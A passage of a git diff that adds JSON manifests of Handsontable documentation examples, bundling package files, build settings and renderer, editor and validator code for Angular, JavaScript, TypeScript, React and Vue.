15],\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n this.hotSettings = {\n colHeaders: ['Product', 'Price', 'Stock'],\n columns: [\n // Built-in type bundles renderer + editor + no validator\n { type: 'text' },\n // Built-in type bundles renderer + editor + validator with custom format\n { type: 'numeric', locale: 'en-US', numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 } },\n // Mixed: custom renderer, built-in numeric editor, custom validator\n {\n renderer: stockRenderer,\n editor: 'numeric',\n validator: stockValidator,\n allowInvalid: false,\n },\n ],\n colWidths: [120, 90, 200],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-function/angular/example1.ts","breadcrumb":["Cell Functions"],"guide":"guides/cell-functions/cell-function/cell-function.md","guideTitle":"Cell functions","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-function","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.js.json new file mode 100644 index 00000000..b8757360 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\n// Custom renderer: visualizes stock level as a progress bar with a numeric label.\n// Demonstrates using a renderer independently from the editor and validator.\nfunction stockRenderer(hotInstance, td, row, col, prop, value) {\n const num = parseInt(value, 10);\n const valid = !isNaN(num) && num >= 0;\n const pct = valid ? Math.min(100, (num / 1000) * 100) : 0;\n const color = pct > 60 ? '#22c55e' : pct > 20 ? '#f59e0b' : '#ef4444';\n\n td.innerText = '';\n\n const wrapper = hotInstance.rootDocument.createElement('div');\n\n wrapper.className = 'htStockBar';\n\n const track = hotInstance.rootDocument.createElement('div');\n\n track.className = 'htStockBarTrack';\n\n const fill = hotInstance.rootDocument.createElement('div');\n\n fill.className = 'htStockBarFill';\n fill.style.width = `${pct}%`;\n fill.style.background = color;\n\n const label = hotInstance.rootDocument.createElement('span');\n\n label.className = 'htStockBarLabel';\n label.innerText = valid ? `${num}` : '—';\n track.appendChild(fill);\n wrapper.appendChild(track);\n wrapper.appendChild(label);\n td.appendChild(wrapper);\n\n return td;\n}\n\n// Custom validator: accepts integers in the range 0–1000.\n// Demonstrates using a validator independently from the renderer and editor.\nfunction stockValidator(value, callback) {\n const num = Number(value);\n\n callback(Number.isInteger(num) && num >= 0 && num <= 1000);\n}\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['Apple', 1.2, 820],\n ['Banana', 0.5, 280],\n ['Cherry', 3.0, 45],\n ['Mango', 2.5, 960],\n ['Pear', 0.8, 170],\n ['Blueberry', 4.5, 15],\n ],\n colHeaders: ['Product', 'Price', 'Stock'],\n columns: [\n // Built-in type bundles renderer + editor + no validator\n { type: 'text' },\n // Built-in type bundles renderer + editor + validator with custom format\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n // Mixed: custom renderer, built-in numeric editor, custom validator\n {\n renderer: stockRenderer,\n editor: 'numeric',\n validator: stockValidator,\n allowInvalid: false,\n },\n ],\n colWidths: [120, 90, 200],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".htStockBar {\n display: flex;\n align-items: center;\n gap: 6px;\n padding: 0 4px;\n height: 100%;\n box-sizing: border-box;\n}\n\n.htStockBarTrack {\n flex: 1;\n height: 8px;\n background: var(--ht-background-secondary-color);\n border-radius: 4px;\n overflow: hidden;\n}\n\n.htStockBarFill {\n height: 100%;\n border-radius: 4px;\n min-width: 2px;\n}\n\n.htStockBarLabel {\n font-size: 11px;\n font-variant-numeric: tabular-nums;\n min-width: 28px;\n text-align: right;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-function/javascript/example1.js","breadcrumb":["Cell Functions"],"guide":"guides/cell-functions/cell-function/cell-function.md","guideTitle":"Cell functions","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-function","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.ts.json new file mode 100644 index 00000000..ab0934d3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\n// Custom renderer: visualizes stock level as a progress bar with a numeric label.\n// Demonstrates using a renderer independently from the editor and validator.\nfunction stockRenderer(\n hotInstance: Handsontable.Core,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: any\n): HTMLTableCellElement {\n const num = parseInt(value as string, 10);\n const valid = !isNaN(num) && num >= 0;\n const pct = valid ? Math.min(100, (num / 1000) * 100) : 0;\n const color = pct > 60 ? '#22c55e' : pct > 20 ? '#f59e0b' : '#ef4444';\n\n td.innerText = '';\n\n const wrapper = hotInstance.rootDocument.createElement('div');\n\n wrapper.className = 'htStockBar';\n\n const track = hotInstance.rootDocument.createElement('div');\n\n track.className = 'htStockBarTrack';\n\n const fill = hotInstance.rootDocument.createElement('div');\n\n fill.className = 'htStockBarFill';\n fill.style.width = `${pct}%`;\n fill.style.background = color;\n\n const label = hotInstance.rootDocument.createElement('span');\n\n label.className = 'htStockBarLabel';\n label.innerText = valid ? `${num}` : '—';\n track.appendChild(fill);\n wrapper.appendChild(track);\n wrapper.appendChild(label);\n td.appendChild(wrapper);\n\n return td;\n}\n\n// Custom validator: accepts integers in the range 0–1000.\n// Demonstrates using a validator independently from the renderer and editor.\nfunction stockValidator(value: any, callback: (valid: boolean) => void): void {\n const num = Number(value);\n\n callback(Number.isInteger(num) && num >= 0 && num <= 1000);\n}\n\nconst container = document.querySelector('#example1') as HTMLElement;\n\nnew Handsontable(container, {\n data: [\n ['Apple', 1.2, 820],\n ['Banana', 0.5, 280],\n ['Cherry', 3.0, 45],\n ['Mango', 2.5, 960],\n ['Pear', 0.8, 170],\n ['Blueberry', 4.5, 15],\n ],\n colHeaders: ['Product', 'Price', 'Stock'],\n columns: [\n // Built-in type bundles renderer + editor + no validator\n { type: 'text' },\n // Built-in type bundles renderer + editor + validator with custom format\n { type: 'numeric', locale: 'en-US', numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 } },\n // Mixed: custom renderer, built-in numeric editor, custom validator\n {\n renderer: stockRenderer,\n editor: 'numeric',\n validator: stockValidator,\n allowInvalid: false,\n } as any,\n ],\n colWidths: [120, 90, 200],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".htStockBar {\n display: flex;\n align-items: center;\n gap: 6px;\n padding: 0 4px;\n height: 100%;\n box-sizing: border-box;\n}\n\n.htStockBarTrack {\n flex: 1;\n height: 8px;\n background: var(--ht-background-secondary-color);\n border-radius: 4px;\n overflow: hidden;\n}\n\n.htStockBarFill {\n height: 100%;\n border-radius: 4px;\n min-width: 2px;\n}\n\n.htStockBarLabel {\n font-size: 11px;\n font-variant-numeric: tabular-nums;\n min-width: 28px;\n text-align: right;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-function/javascript/example1.ts","breadcrumb":["Cell Functions"],"guide":"guides/cell-functions/cell-function/cell-function.md","guideTitle":"Cell functions","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-function","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__react__example1.tsx.json new file mode 100644 index 00000000..64e94ded --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Custom renderer: visualizes stock level as a progress bar with a numeric label.\n// Demonstrates using a renderer independently from the editor and validator.\nfunction stockRenderer(\n hotInstance: Handsontable.Core,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement {\n const num = parseInt(value as string, 10);\n const valid = !isNaN(num) && num >= 0;\n const pct = valid ? Math.min(100, (num / 1000) * 100) : 0;\n const color = pct > 60 ? '#22c55e' : pct > 20 ? '#f59e0b' : '#ef4444';\n\n td.innerText = '';\n\n const wrapper = hotInstance.rootDocument.createElement('div');\n\n wrapper.className = 'htStockBar';\n\n const track = hotInstance.rootDocument.createElement('div');\n\n track.className = 'htStockBarTrack';\n\n const fill = hotInstance.rootDocument.createElement('div');\n\n fill.className = 'htStockBarFill';\n fill.style.width = `${pct}%`;\n fill.style.background = color;\n\n const label = hotInstance.rootDocument.createElement('span');\n\n label.className = 'htStockBarLabel';\n label.innerText = valid ? `${num}` : '—';\n track.appendChild(fill);\n wrapper.appendChild(track);\n wrapper.appendChild(label);\n td.appendChild(wrapper);\n\n return td;\n}\n\n// Custom validator: accepts integers in the range 0–1000.\n// Demonstrates using a validator independently from the renderer and editor.\nfunction stockValidator(value: Handsontable.CellValue, callback: (valid: boolean) => void): void {\n const num = Number(value);\n\n callback(Number.isInteger(num) && num >= 0 && num <= 1000);\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".htStockBar {\n display: flex;\n align-items: center;\n gap: 6px;\n padding: 0 4px;\n height: 100%;\n box-sizing: border-box;\n}\n\n.htStockBarTrack {\n flex: 1;\n height: 8px;\n background: var(--ht-background-secondary-color);\n border-radius: 4px;\n overflow: hidden;\n}\n\n.htStockBarFill {\n height: 100%;\n border-radius: 4px;\n min-width: 2px;\n}\n\n.htStockBarLabel {\n font-size: 11px;\n font-variant-numeric: tabular-nums;\n min-width: 28px;\n text-align: right;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-function/react/example1.tsx","breadcrumb":["Cell Functions"],"guide":"guides/cell-functions/cell-function/cell-function.md","guideTitle":"Cell functions","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-function","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__vue__example1.vue.json new file mode 100644 index 00000000..d4f3ea50 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-functions/cell-function/vue/example1.vue","breadcrumb":["Cell Functions"],"guide":"guides/cell-functions/cell-function/cell-function.md","guideTitle":"Cell functions","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-function","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example1.ts.json new file mode 100644 index 00000000..f0015df0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, ChangeDetectionStrategy, Component, OnInit, ViewChild } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-cover-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: ``,\n})\nexport class CoverRendererComponent extends HotCellRendererComponent {\n}\n\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n @if (hotSettings) {\n \n }\n `,\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: CoverRendererComponent },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example1.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example2.ts.json new file mode 100644 index 00000000..5442a2fe --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Use the renderer component within React's Context · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit, TemplateRef, ViewChild } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n \n \n\n \n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild('myCellTpl', { static: true }) myCellTpl!: TemplateRef;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: this.myCellTpl },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's 